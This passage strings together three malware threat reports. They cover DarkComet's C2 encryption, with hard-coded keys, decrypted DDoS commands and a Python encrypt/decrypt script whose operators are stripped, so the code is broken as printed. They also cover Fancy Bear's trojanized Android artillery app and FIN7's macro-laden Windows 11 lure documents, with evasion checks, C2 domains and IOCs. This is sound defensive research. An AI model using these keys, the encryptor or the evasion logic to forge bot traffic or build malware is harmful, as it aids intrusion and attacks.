Once 256 such swaps have been performed, the loop exits and the substitution table stable_var_41C has been nicely scrambled and is ready for use.
At this point, the actual process of decryption is performed.
DarkComet iterates through its decryption loop once for each byte in the encrypted source message (after conversion from ASCII to integer representation.)
The decryption loop performs the following two steps: First, it performs an additional scrambling operation on the substitution table stable_var_41C by swapping two elements.
When processing the k th source byte, the first element of the swap pair is always the k1 th element of table stable_var_41C it uses another accumulator variable, implemented by register EDI, to choose the second element of the swap pair: Arbor Networks    17 Arbor Networks    18 Figure 15.
Function DecryptCommandBuffer_sub_44C628() After performing this swap operation, DarkComet finally decrypts a byte of message.
It sums up the values of the two swapped elements (at instruction 0x0044C85F), then uses the result (modulo 256) to re-index into the stable_var_41C table to pull out a third element (at instruction 0x0044C874).
This third element is XORed against the current (k th ) source byte to produced a decrypted character.
It should be pointed out that conceptually, this decryption mechanism - both the manner in which the substitution table is built, as well as how it is used for XOR-based decryption - is very similar to that used by the Trojan.
PonyDOS malware family.
The actual implementation has quite a few differences, but the basic encryption algorithm is the same.
Trojan.
PonyDOS, however, adds a few additional layers to secure its communications protocol above and beyond the core crypto algorithm which it shares with DarkComet specifically, the computation of some cryptographic hashes.
Also, Trojan.
PonyDOS does not go to the trouble of converting its encrypted data payloads into ASCII representations as DarkComet does.
Now that weve reversed the core DarkComet decryption mechanism (needed to read CC commands), well want to confirm that the encryption mechanism (needed to read and/or fake bot phone home messages) is symmetric.
And indeed, by following references to the socket handle used to recv() the initial CC command, we can trace through to find the encryption routine called by DarkComet just prior to send()ing back its response messages.
Sure enough, the encryption routine, Encrypt_sub_44C34C(), is functionally identical to the decryption routine, as hoped and expected the only difference being that the Integerize_sub_44C1C0() routine prior to decryption is absent, and a new routine, which well call Integer2String_sub_409C6C(), is called following the encryption step this routine simply converts the raw encrypted data back into the ASCII version of its hexadecimal values.
Of course, in order to have a fully functional implementation of DarkComets crypto system, well need to know what key strings it uses.
We see that there are two locations where DecryptCommandBuffer_sub_44C628() is called, and one of those locations, EncryptData_sub_49D9EC(), has a hard-coded string with an uncanny resemblance to a decryption key: http://ddos.arbornetworks.com/2012/03/not-just-a-one-trick-ponydos/ Arbor Networks    19 Figure 16.
Function EncryptData_sub_49D9EC() We see that the decryption string key_var_10, passed to DecryptCommandBuffer_sub_44C628() via EDX, is formed by concatenating a hard-coded string KCMDDC42F- with some mystery string stored at [EBX8].
It turns out that this mysterious value stored at an offset from EBX is passed into EncryptData_sub_49D9EC() via the EAX register.
Tracing backwards up the stack, we follow the reference to EAX as the baton is passed from register to register.
It does not take long to come across the following routine, which we will label ComputeKeySuffix_sub_48F52C(): Arbor Networks    20 Arbor Networks    21 Figure 17.
Function ComputeKeySuffix_sub_48F52C() You dont run into code like this very often.
It receives an output buffer passed via EAX.
It then uses register EBX to do some rather inefficient operations.
First, it assigns EBX the value 0xFFFFFF8F, or -71.
It then adds 1000 to EBX, yielding 887.
Then it goes through four iterations of a loop that has no purpose other than to increment EBX by one on each iteration, resulting in a value of 891.
Finally, it completes its laborious calculations by decrementing EBX by one, yielding a final answer of 890.
This integer is passed to a standard integer-to-string API, which writes the string 890 into the output buffer.
In C, these shenanigans would look something like the following: int nAddend  1000 int nSuffix  -71 int nResult  nSuffix  nAddend for (int k0 k4 k) nResult  1 sprintf(suffix, d, --nResult) This is a very roundabout way of assigning the hard-coded string 890 to a buffer.
Clearly the DarkComet author is (wisely) trying to avoid having the entire decryption key string hard-coded in the bot executable.
So at this point, we know that the decryption key is composed of the prefix KCMDDC42F- concatenated with the suffix 890, yielding KCMDDC42F-890.
One final note regarding the encryption key strings used by DarkComet: as first documented in Contextis Laura Aylwards DarkComet analysis, each version of DarkComet uses a different hard-coded string for the key prefix.
For example, we have observed the following: Dark Comet version Crypto Key Prefix (Default) Version 4.0 KCMDDC4-890 Version 4.2 KCMDDC42F-890 http://www.contextis.com/research/blog/darkcometrat/ Arbor Networks    22 Version 5.0 KCMDDC5-890 Figure 18.
Standard crypto key prefixes for DarkComet versions Furthermore, and also documented by Contextis, DarkComet supports the use of an optional password that is appended to the default (version-specific) crypto key.
For example, the default password (if enabled) string is 0123456789.
This 10- digit string will be appended to the standard crypto key KCMDDC42F-890 (in the case of DarkComet version 4.2) to yield a final key of KCMDDC42F-8900123456789.
The code that performs this concatenation is found in a routine well call FormCryptoKey_sub_49D2F4(): Figure 19.
Function FormCryptoKey_sub_49D2F4() Arbor Networks    23 This code concatenates the three components of the final crypto key: the hard-coded prefix (e.g., KCMDDC42F-), the three-digit string 890 that is not technically hard-coded but deterministically computed using the aforementioned ComputeKeySuffix_sub_48F52C() routine, and the optional botnet password stored in the global variable PWD_off_4A4B84.
The password itself is actually stored as an encrypted resource.
Upon initialization, it is decrypted using a preliminary crypto key comprised only of the first two components (e.g., KCMDDC42F-890) using a routine weve labeled DecryptResource_sub_49D9EC().
To make a long story short, this routine uses the Windows APIs FindResource(), LoadResource(), etc.
to extract a named resource of type RT_RCDATA (code 0x0A), intended for application-defined resources (raw data).
The raw data is then decrypted using the preliminary crypto key.
In the case of the crypto password, the name of the resource is PWD.
The resource is extracted, decrypted, and stored for future use in the global variable PWD_off_4A4B84 by a function we call DecryptResources_sub_49F92C(): Arbor Networks    24 Figure 20.
Function DecryptResources_sub_49F92C() In the case of the default password 0123456789, the encrypted resource will hold the value 6811E636E69E9AEFA5C6.
This DecryptResources_sub_49F92C() function actually decrypts a lot of encrypted bot parameters stored in various resources some of the more interesting ones are as follows: Resource Name Encrypted Data Decrypted Value FAKEMSG 69 1 GENCODE 6146B749A3CF9C9FE8CFAB2C 9fcLqd0Gu00j MSGCORE 1100A768B3C7C0F8FCDFC907B6F9 I small a RAT MSGTITLE 1C41A66E91C4C1BDE9 DarkComet Arbor Networks    25 MUTEX 1C638B4887FFE980B0B9AE72B1EA40A3 DC_MUTEX-F54S21D NETDATA 6919E62BE39D94F6ACCFAB68D5ED4BD67BA333 192.168.100.75:1604 PWD 6811E636E69E9AEFA5C6 0123456789 SID 1F55B176A69A9A Guest16 Figure 21.
Interesting encrypted resources Of particular interest is the encrypted NETDATA resource, which holds the CC hostname and port.
The Resource Hacker tool is a great utility for viewing and extracting the various DarkComet encrypted parameters: http://www.angusj.com/resourcehacker/ Arbor Networks    26 Figure 22.
Resource Hacker extracting DarkComet resources So to summarize, DarkComet uses a hard-coded (although different for each version) preliminary key string, such as KCMDDC42F-890, to decrypt its sensitive parameters from various raw resources - such as the CC information and communications password stored in the NETDATA and PWD resources, respectively.
It then appends the decrypted comms password (stored in the PWD resource) to the end of the preliminary crypto key string to form the final key, KCMDDC42F-8900123456789, that it uses for securing the network traffic to and from its CC server.
Putting everything together into a complete DarkComet crypto module yields the following Python script: DarkComet decryptor/encryptor Copyright (c) 2012 Arbor Networks import sys class DarkCometCryptor(object): def __init__(self, key): self._len_key  len(key) self._key  [ord(token) for token in key] def decrypt(self, src): Convert ASCII to hex representation buf  [int(0xs  src[k2:k22], 16) for k in range(len(src)//2)] self._cryption(buf) return .join([chr(token) for token in buf]) def encrypt(self, src): buf  [ord(token) for token in src] Arbor Networks    27 self._cryption(buf) Convert to hex codes (upper case) return .join([02x  tok for tok in buf]).upper() def _cryption(self, src): Build subst table stable  list(range(256)) accum  0 for k in range(256): accum  stable[k] accum  self._key[k  self._len_key] accum  0xff stable[k], stable[accum]  stable[accum], stable[k] Apply subst table accum  0 for k in range(len(src)): elem_a_idx  self._LS_BYTE(k  1) accum  stable[elem_a_idx] elem_b_idx  self._LS_BYTE(accum) stable[elem_b_idx], stable[elem_a_idx]  \ stable[elem_a_idx], stable[elem_b_idx] swap_sum  self._LS_BYTE(stable[elem_b_idx]  stable[elem_a_idx]) src[k]  self._LS_BYTE(stable[swap_sum]) staticmethod def _LS_BYTE(value): return 0xff  value if __name__  __main__: if len(sys.argv)  4 or sys.argv[1] not in (-d, -e): print usage: s [-d-e] SRC_TEXT KEY  sys.argv[0] Arbor Networks    28 sys.exit(1) do_decrypt  bool(sys.argv[1]  -d) src  sys.argv[2] key  sys.argv[3] print s: s  (CRYPT if do_decrypt else PLAIN, src) cryptor  DarkCometCryptor(key) dst  cryptor.decrypt(src) if do_decrypt else cryptor.encrypt(src) print s: s  (PLAIN if do_decrypt else CRYPT, dst) Figure 23.
darkcomet.py Crypto Module Applying our DarkComet encryption module against the observed traffic results in the following: CC: IDTYPE Bot: SERVER CC: GetSIN192.10.8.6427038511 Bot: infoesComet192.10.8.64 / [192.1.167.30] : 1604SANDBOX7 / Admin2703851129sWindows XP Service Pack 2 [2600] 32 bit ( C:\ )xUSC:\WINDOWS\system32\cmd.exe16382783-b70c-71e4-11e0- 28f8efc0696f-10806d6172127.43 MiB/256.09 MiB [128.22 MiB Free]English (United States) US /  -- 10/9/2011 at 8:13:31 PM Figure 24.
Decrypted version of comms from Figure 2.
Likewise, when a DarkComet CC issues attacks command, the encrypted traffic on the wire looks like these examples: 185CB63BBE0EA3DF6D2A725936265160E391BC77F47FF46A3934CFB173AC Arbor Networks    29 185CB63BA31EA7C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 185CB63BA503B9C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 But applying the decryption routine yields the following: DDOSHTTPFLOOD192.168.100.2545 DDOSUDPFLOOD192.168.100.254:805 DDOSSYNFLOOD192.168.100.254:805 Which corresponds to ordering an HTTP flood, a UDP flood, and a TCP flood, respectively, against target 192.168.100.254, with each attack lasting for 5 seconds.
Once the attacks are completed the DarkComet bot will respond with an encrypted status message such as the following: 1E4CAB2DA50FBBDB781F5336347B073DA9DCD936B46EB03B646DDAE366F7D5C76D3C0420A55906F524 240A0F34D3A6384150 Which decrypts to the following: BTRESULTSyn FloodSyn task finishedAdministrator As implied above, DarkComet supports three types of DDoS attacks: HTTP flooding, UDP flooding, and TCP flooding (mis-advertised as SYNFLOOD).
The UDP and TCP volumetric floods are quite unremarkable and simply consist of random gibberish blasted at a target host and port.
The HTTP flood also appears to be intended as a rudimentary GET flood with a minimalist HTTP request header.
However, DarkComets HTTP flood implementation happens to have not one, but two catastrophic bugs.
First of all, the thread procedure that implements the DDOSHTTPFLOOD attack command, SendHttp_sub_485848(), uses the WinSock2 librarys socket(), connect(), and send() APIs to send the following hard-coded HTTP flooding request: GET / HTTP/1.1\r\n\r\n Arbor Networks    30 At first glance, this looks like an (almost) valid, although minimalist, HTTP request that is terminated with a double carriage-return/line-feed (CRLF) combination.
However, when one takes a closer look at the way DarkComet stores this string, we see that the \r and \n characters are not actually CR (0x0D) and LF (0x0A) bytes.
Instead, they are literally comprised of the backslash (0x2F), letter r (0x72), and letter n (0x6E) bytes Arbor Networks    31 Figure 25.
Hard-coded HTTP request string HttpRequest_byte_485970 If the HTTP request string had been encoded properly (ending with 0x0D0A0D0A), the length of the string would have been 18.
But instead, we see that it is 22 bytes in length.
Due to this, DarkComets attempt at an application layer attack is not close to a valid HTTP request per the RFCs.
The second big mistake in the implementation of DarkComets HTTP flood attack becomes apparent further down in the attack thread code, just before the (buggy) HTTP request payload is sent to the target via the send() API: Arbor Networks    32 Arbor Networks    33 Figure 26.
Function EncryptAndSendData_sub_49393C() Unbelievably, DarkComet bot is accidentally encrypting the (buggy) GET request string at instruction 0x00493972 via a call to the already-reversed Encrypt_sub_44C34C() routine.
The resulting (encrypted) HTTP request is then sent on its merry way to the DDoS target via the send() API call at instruction 0x0049399D.
So the target web server ends up receiving gibberish instead of a well-formed HTTP request that might exhaust resources at the application layer.
Due to these two serious flaws, DarkComets HTTP flood attack reduces down to nothing more than a volumetric TCP flood against port 80, and a very weak one at that (a mere 22 bytes of TCP payload per flooding packet...)  In fact, here is what the actual HTTP flooding traffic looks like: 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 Clearly, this is very unlikely to bring any web server to its knees Acknowledgements to Arbor Networks analyst Curt Wilson for his valuable insights and assistance with this article.
Adam Meyers 12/21/2016 Danger Close: Fancy Bear Tracking of Ukrainian Field Artillery Units crowdstrike.com /blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units/ Update  As of March 2017, the estimated losses of D-30 howitzer platform have been amended.
According to an update provided by the International Institute for Strategic Studies (IISS) Research Associate for Defence and Military Analysis, Henry Boyd, their current assessment is as follows: excluding the Naval Infantry battalion in the Crimea which was effectively captured wholesale, the Ukrainian Armed Forces lost between 15 and 20 of their pre-war D30 inventory in combat operations.
In June CrowdStrike identified and attributed a series of targeted intrusions at the Democratic National Committee (DNC), and other political organizations that utilized a well known implant commonly called X-Agent.
X-Agent is a cross platform remote access toolkit, variants have been identified for various Windows operating systems, Apples iOS, and likely the MacOS.
Also known as Sofacy, X-Agent has been tracked by the security community for almost a decade, CrowdStrike associates the use of X-Agent with an actor we call FANCY BEAR.
This actor to date is the exclusive operator of the malware, and has continuously developed the platform for ongoing operations which CrowdStrike assesses is likely tied to Russian Military Intelligence (GRU).
The source code to this malware has not been observed in the public domain and appears to have been developed uniquely by FANCY BEAR.
Late in the summer of 2016, CrowdStrike Intelligence analysts began investigating a curious Android Package 1/4 https://www.crowdstrike.com/blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units/ https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ https://www.crowdstrike.com/blog/who-is-fancy-bear/ https://www.crowdstrike.com/products/falcon-intelligence/ (APK) named -30.apk (MD5: 6f7523d3019fa190499f327211e01fcb) which contained a number of Russian language artifacts that were military in nature.
Initial research identified that the filename suggested a relationship to the D-30 122mm towed howitzer, an artillery weapon first manufactured in the Soviet Union in the 1960s but still in use today.
In-depth reverse engineering revealed the APK contained an Android variant of X-Agent, the command and control protocol was closely linked to observed Windows variants of X-Agent, and utilized a cryptographic algorithm called RC4 with a very similar 50 byte base key.
The filename -30.apk was linked to a legitimate application which was initially developed domestically within Ukraine by an officer of the 55th Artillery Brigade named Yaroslav Sherstuk.
In media interviews Mr. Sherstuk claims that the application, which had some 9000 users, reduced the time to fire the D-30 from minutes to seconds.
No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform.
2/4 D-30 Howitzer in service with Ukrainian military personnel Today CrowdStrike is releasing publicly an intelligence report which was circulated to CrowdStrike Falcon Intelligence customers detailing the use of the trojanized -30.apk application by the Ukrainian military and the deadly repercussions inflicted on that platform by Russian forces.
The key points of this report are: From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk.
The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds.
According to Sherstuks interviews with the press, over 9000 artillery personnel have been using the application in Ukrainian military.
Successful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops.
The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them.
Open source reporting indicates that Ukrainian artillery forces have lost over 50 of their weapons in the 2 years of conflict and over 80 of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraines arsenal.
This previously unseen variant of X-Agent represents FANCY BEARs expansion in mobile malware development from iOS-capable implants to Android devices, and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine.
The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrikes previous assessments that FANCY BEAR is likely affiliated with the Russian military 3/4 https://www.crowdstrike.com/resources/reports/idc-vendor-profile-crowdstrike-2/ https://www.crowdstrike.com/products/falcon-intelligence/intelligence-subscriptions-offerings/ intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia.
The following Snort rule matches on the X-Agent-Android C2 beacon request: alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (\ msg: CrowdStrike FANCY BEAR X-Agent Android C2 Request \ flow: established,to_server \ content: lm http_uri \ pcre: /\/(watchsearchfindresultsopenclose)\/\?/U \ pcre: /[\?\](textfromagsoeaqbtnGoprnd)/U \ classtype: trojan-activity metadata: service http \ sid: XXXX rev: 20160815) Join Dmitri Alperovitch and me live on January 4, 2017 at 2pm EST for Bear Hunting: History and Attribution of Russian Intelligence Operations to learn more about FANCY BEAR and linkages to the GRU.
Register now.
For continuous access to the industry-leading intelligence that powers CrowdStrike Falcon  to include strategic, operational, and technical reporting as well as indicator feeds and APIs of more than 80 Targeted Intrusion, Hacktivist, and eCrime adversary groups, their TTPs, and associated campaigns  request info.
As Vice President of Intelligence, Adam Meyers oversees all intelligence gathering and cyber adversary monitoring for CrowdStrike, the leader in cloud-delivered endpoint protection, threat intelligence and response services.
Falcon Intelligence is part of the CrowdStrike Falcon Platform, which helps organizations stop cyber breaches.
At CrowdStrike, the value of threat intelligence lies in its ability to proactively protect your environment from attacks, through a deep understanding of the adversary and what it takes to stop them.
4/4 https://www.crowdstrike.com/resources/crowdcasts/bear-hunting-history-and-attribution-of-russian-intelligence-operations/ https://www.crowdstrike.com/resources/crowdcasts/bear-hunting-history-and-attribution-of-russian-intelligence-operations/ https://www.crowdstrike.com/request-information/ https://www.crowdstrike.com/ https://www.crowdstrike.com/products/falcon-intelligence/ https://www.crowdstrike.com/services/ https://www.crowdstrike.com/products/ Danger Close: Fancy Bear Tracking of Ukrainian Field Artillery Units
1/18 Cybercrime Group FIN7 Using Windows 11 Alpha- Themed Docs to Drop Javascript Backdoor anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor Authored by: Gage Mele, Tara Gould, Rory Gould, and Sean Townsend Key Findings Anomali Threat Research discovered six malicious Windows 11 Alpha-themed Word documents with Visual Basic macros being used to drop JavaScript payloads, including a Javascript backdoor.
While we cannot conclusively identify the attack vector for this activity, our analysis.
strongly suggests the attack vector was an email phishing or spearphishing campaign.
We assess with moderate confidence that the financially motivated threat group FIN7 is responsible for this campaign.
Based on the file names observed in this campaign, the activity likely took place around late-June to late-July 2021.
Overview Anomali Threat Research conducted analysis on malicious Microsoft Word document (.doc) files themed after Windows 11 Alpha and assess with moderate confidence that these Word documents were part of a campaign conducted by the threat group FIN7.
The groups goal appears to have been to deliver a variation of a JavaScript backdoor used by FIN7 since at least 2018.
FIN7 FIN7 is an Eastern European threat group that has been active since at least mid-2015.
They primarily target United States (US)-based companies across various industries but also operate on a global scale.
The group is one of the worlds most notorious cybercrime groups and has been credited with the theft of over 15 million payment card records that cost organizations around the world approximately one billion dollars (USD) in losses.
In the US alone, the group has targeted over 100 companies and compromised the networks of organizations in 47 states and the District of Columbia.
While FIN7s primary objective is to directly steal financial information, such as credit and debit card data, they will also steal sensitive information to sell on underground marketplaces.
There has been a concerted attempt by law enforcement to tackle the group, including the arrest of three members arrested August 2018 and a high-level organizer in April 2021.
Despite these personnel losses and media attention, the group has continued a steady stream of documented activity since at least 2015.
[
1] [2] [3] [4] [5] https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor 2/18 In early 2021, FIN7 was identified as gaining illicit access to a law firms network by using a fake legal complaint themed around Brown-Forman Inc., the parent company of Jack Daniels whiskey.
Related Groups FIN7 is closely associated with the threat group referred to as Carbanak, with the two groups sharing a significant number of TTPs including the use of the Carbanak backdoor.
As such, news media and some intelligence vendors use the names interchangeably.
To add to the confusion, different vendors will use their own naming conventions for each group that include: FIN7 - Carbon Spider (Crowdstrike), Gold Niagara (Secureworks), Calcium (Symantec) Carbanak - Carbon Spider (Crowdstrike), Anunak (Group-IB) Trend Micro released a report in April 2021 outlining the differences in TTPs between the two groups and MITRE also track the two groups separately.
For clarity, we will treat FIN7 and Carbanak as separate groups the main distinction being FIN7 focuses on hospitality and retail sectors, while Carbanak targets banking institutions.
Technical Analysis Word Document MD5 d60b6a8310373c9b84e6760c24185535 File name Users-Progress-072021-1.doc The infection chain began with a Microsoft Word document (.doc) containing a decoy image claiming to have been made with Windows 11 Alpha.
The image asks the user to Enable Editing and Enable Content to begin the next stage of activity, as shown in Figure 1 below.
[
6] [7] [8] 3/18 Figure 1  Windows 11-Themed Maldoc Analyzing the file, we can see a VBA macro populated with junk data as comments, shown in Figure 2.
Once the content/editing has been enabled, the macro is executed.
4/18 Figure 2  VBA Macro with Junk Data Junk data is a common tactic used by threat actors to impede analysis.
Once we remove this junk data, we are left with a VBA macro, as shown in Figure 3 below.
5/18 Figure 3  VBA Macro without Junk Data The VBScript will take encoded values from a hidden table inside the .doc file, shown in Figure 4.
Figure 4  Values and Key from Hidden Table The values are deciphered with the function shown in Figure 5.
6/18 Figure 5  Decoding Function in VBScript The values from the table are deobfuscated using an XOR cipher.
In this sample, the key is uPHdq3MxjOCfnXB.
Figure 6  VBA Decoding Function Ported into Python After deobfuscating the VBA macro, using the script shown in Figure 6, we can see what is occurring in the code.
7/18 Figure 7  Checks Carried Out Shown in Table 1 are the language checks carried out.
Table 1  Language checks Code Language 1049 Russian 1058 Ukrainian 2073 Russian-Moldova 1070 Sorbian 1051 Slovak 1060 Slovenian 1061 Estonian 3098 Serbian 2074 Serbian (Latin) If these languages are detected, the function me2XKr is called which deletes the table and stops running.
8/18 Figure 8  VM Checks The script checks for Virtual Machines, as shown in Figure 8, and if detected it stops running.
Figure 9  Domain Check Shown in Figure 9, the script checks for the domain CLEARMIND, which appears to refer to the domain of a Point-of-Sale (POS) service provider.
The checks include: Domain name, specifically CLEARMIND (Figure 9) Language, if any of the languages listed in Table 1 Reg Key Language Preference for Russian Virtual machine - VMWare, VirtualBox, innotek, QEMU, Oracle, Hyper and Parallels, if a VM is detected the script is killed (Figure 8) Memory Available, if there is less than 4GB then dont proceed Check for RootDSE via LDAP If the checks are satisfactory, the script proceeds to the function where a JavaScript file called word_data.js is dropped to the TEMP folder.
However, if the language and VM checks are detected, the table deletes itself and does not proceed to the JavaScript payload.
This JavaScript file is also full of junk data, as shown in Figure 10 below.
9/18 Figure 10  JavaScript File (word_data.js) with Junk Data Once again, we removed the junk data to analyze the JavaScript, which we can see contains obfuscated strings, shown in Figure 11.
10/18 Figure 11  Example JavaScript Function without Junk Data The JavaScript file also contains a deobfuscation function which is shown in Figure 12 below.
11/18 Figure 12  JavaScript Snippet Containing the XOR Function Analyzing the XOR cipher function, ben9qtdx4t is the key used to decrypt the strings in the JavaScript file (word_data.js).
The obfuscation is carried out using a substitution cipher that goes from A through K, displayed in Table 2 below.
Table 2  Substitution Cipher Key A B C D E F G H I J K Code 0 1 2 3 4 5 6 7 8 9 , 12/18 Figure 13  Deobfuscated Strings After replacing the obfuscated values with the deobfuscated strings, the Javascript backdoor appears to have similar functionality with other backdoors reportedly used by FIN7.
Figure 14  First Connection A connection is first made to tnskvggujjqfcskwk.com, (Figure 14) and based on the response, a connection is then made to bypassociation[.
]com.
This address is created by picking values from each array (Figure 15) at random.
[
9] 13/18 Figure 15  Path and Arrays After connecting to the bypassociation[.
]com address, the script checks for an active IP to retrieve the MAC address and DNSHostName (Figure 16), which are then submitted via a POST request to the bypassociation address.
Figure 16  eq5w0  xgq86  z897r8d, aka the MAC address and DNSHostName are appended to the data sent Based on the response, further Javascript is executed, as shown in Figure 17.
Figure 17  Javascript Execution 14/18 Attribution Targeting of a POS provider aligns with previous FIN7 activity The use of decoy doc files with VBA macros also aligns with previous FIN7 activity FIN7 have used Javascript backdoors historically Infection stops after detecting Russian, Ukrainian, or several other Eastern European languages Password protected document Tool mark from Javascript file groupdoc700rt0secret7Gjuyf39Tut383wtime120000uid follows similar pattern to previous FIN7 campaigns The specified targeting of the Clearmind domain fits well with FIN7s preferred modus operandi.
As a California-based provider of POS technology for the retail and hospitality sector, a successful infection would allow the group to obtain payment card data and later sell the information on online marketplaces.
The US Department of Justice calculates that as of 2018 FIN7 was responsible for stealing over 15 million card records from 6,500 POS terminals.
The use of a JavaScript backdoor is also primarily associated with FIN7 and is a common feature within its campaigns.
It is worth noting that Carbanak has also been known to use Javascript payloads but, as this targets retail and health POS systems, it aligns with FIN7 activity.
While not providing solid attribution, the language check function and table it scores against indicate a likely geographic location for the creator of this malicious doc file.
It is accepted as an almost unofficial policy that cybercriminals based in the Commonwealth of Independent States (CIS) are generally left alone, provided they do not target interests or individuals within their respective borders, ergo the VBA macro checking the target system language against a list including common CIS languages which will terminate the infection if found to match.
The addition of Sorbian, a minority German Slavic language, Estonian, Slovenian and Slovak are unusual additions as these would not be languages considered for exclusion but would be considered fair game.
It is worth noting that REvil ransomware also includes these languages in their exclusion tables, a group that is believed to work with FIN7.
Conclusion FIN7 is one of the most notorious financially motivated groups due to the large amounts of sensitive data they have stolen through numerous techniques and attack surfaces.
Things have been turbulent for the threat group over the past few years as with success and notoriety comes the ever-watchful eye of the authorities.
Despite high-profile arrests and sentencing, including alleged higher-ranking members, the group continues to be as active as ever.
US [10] [11] [12] [13] 15/18 prosecutors believe the group numbers around 70 individuals, meaning the group can likely accommodate these losses as other individuals will step in.
Targeting infrastructure appears to be a more successful method of stopping or delaying these actors.
Endnotes Kremez, Vitali.
2018.
Lets Learn: In-Depth Review of FIN7 VBA Macro  Lightweight JavaScript Backdoor.
November 28.
Accessed 8 18, 2021.
https://www.vkremez.com/2018/11/in-depth-review-of-fin7-vba-macro.html.
ESentire.
2021.
Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels Owner, Brown-Forman Inc. July 21.
Accessed August 17, 2019.
https://www.esentire.com/security-advisories/notorious-cybercrime-gang- fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner- brown-forman-inc.
Department of Justice.
2018.
Three Members of Notorious International Cybercrime Group Fin7 In Custody for Role in Attacking Over 100 U.S. companies.
August 1.
Accessed August 19, 2019.
https://www.justice.gov/opa/pr/three-members-notorious-international- cybercrime-group-fin7-custody-role-attacking-over-100.
Ibid Department of Justice.
2021.
High-level organizer of notorious hacking group FIN7 sentenced to ten years in prison for a scheme that compromised tens of millions of debit and credit cards .
April 16.
Accessed August 17, 2021.
https://www.justice.gov/usao- wdwa/pr/high-level-organizer-notorious-hacking-group-fin7-sentenced-ten-years-prison- scheme.
Carr, Goody, Miller and Vengerik, On the Hunt.
ESentire, Notorious Cybercrime Gang.
Carr, Goody, Miller and Vengerik, On the Hunt.
Trend Micro.
2021.
Carbanak and FIN7 Attack Techniques.
April 20.
Accessed August 17, 2021.
https://www.trendmicro.com/en_gb/research/21/d/carbanak-and-fin7-attack- techniques.html.
SentinelOne.
2019.
Deep Insight into FIN7 Malware Chain: From Office Macro Malware to Lightweight JS Loader.
October 3.
Accessed August 19, 2021.
https://labs.sentinelone.com/fin7-malware-chain-from-office-macro-malware-to- lightweight-js-loader/.
Department of Justice, Three Members.
[
14] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 16/18 Kaspersky.
2019.
FIN7.5: the infamous cybercrime rig FIN7 continues its activities.
May 8.
Accessed August 17, 2021.
https://securelist.com/fin7-5-the-infamous-cybercrime- rig-fin7-continues-its-activities/90703/.
Counter Threat Unit Research Team.
2019.
REvil/Sodinokibi Ransomware.
September 24.
Accessed August 24, 2021.
https://www.secureworks.com/research/revil-sodinokibi- ransomware   Singleton, Camille, Christopher Kiefer, and Ole Villadsen.
2020.
Ransomware 2020: Attack Trends Affecting Organizations Worldwide.
September 28.
Accessed August 24, 2021.
https://securityintelligence.com/posts/ransomware-2020-attack-trends-new- techniques-affecting-organizations-worldwide/.
Department of Justice, High-level organizer.
Ibid.
IOCs Filename Hash Clients-Current_state-062021-0.doc dc7c07bac0ce9d431f51e2620da93398 Clients-Progress-072021-7.doc d17f58c6c9771e03342cdd33eb32e084 Clients-State-072021-4.doc ad4a6a0ddeacdf0fc74c3b45b57a1316 Customers-State-072021-3.doc de14cf1e58d288187680f5938e2250df Clients-State-072021-4.doc ad4a6a0ddeacdf0fc74c3b45b57a1316 Users-Progress-072021-1.doc d60b6a8310373c9b84e6760c24185535 Users-Progress-072021-1.lnk 72149bbd364326618df00dc6b0e0b4c4 word_data.bin/word_data.js 0d12e8754adacc645a981426e69b91ec word_data.bin/word_data.js 8f5302dafa90958117cbee992a0e09a9 word_data.bin/word_data.js f4c77f40e325a420be4660370a97158c word_data.bin/word_data.js ce80bf89bbc800547039844d400ab27c word_data.bin/word_data.js 41c48b16a01f0322b4e851aa4e1c4e0e IP Address 85.14.253.178 Domains [11] [12] [13] [14] 17/18 tnskvggujjqfcskwk[.
]com https://bypassociation[.
]com https://bypassociation[.
]com/images/sync?typename https://bypassociation[.
]com/new?typename https://bypassociation[.
]com/pictures/hide?typename https://bypassociation[.
]com/pictures/show?typename https://bypassociation[.
]com/images/hide?typename https://bypassociation[.
]com/img/hide?typename https://bypassociation[.
]com/img/add?typename https://bypassociation[.
]com/images/add?typename https://bypassociation[.
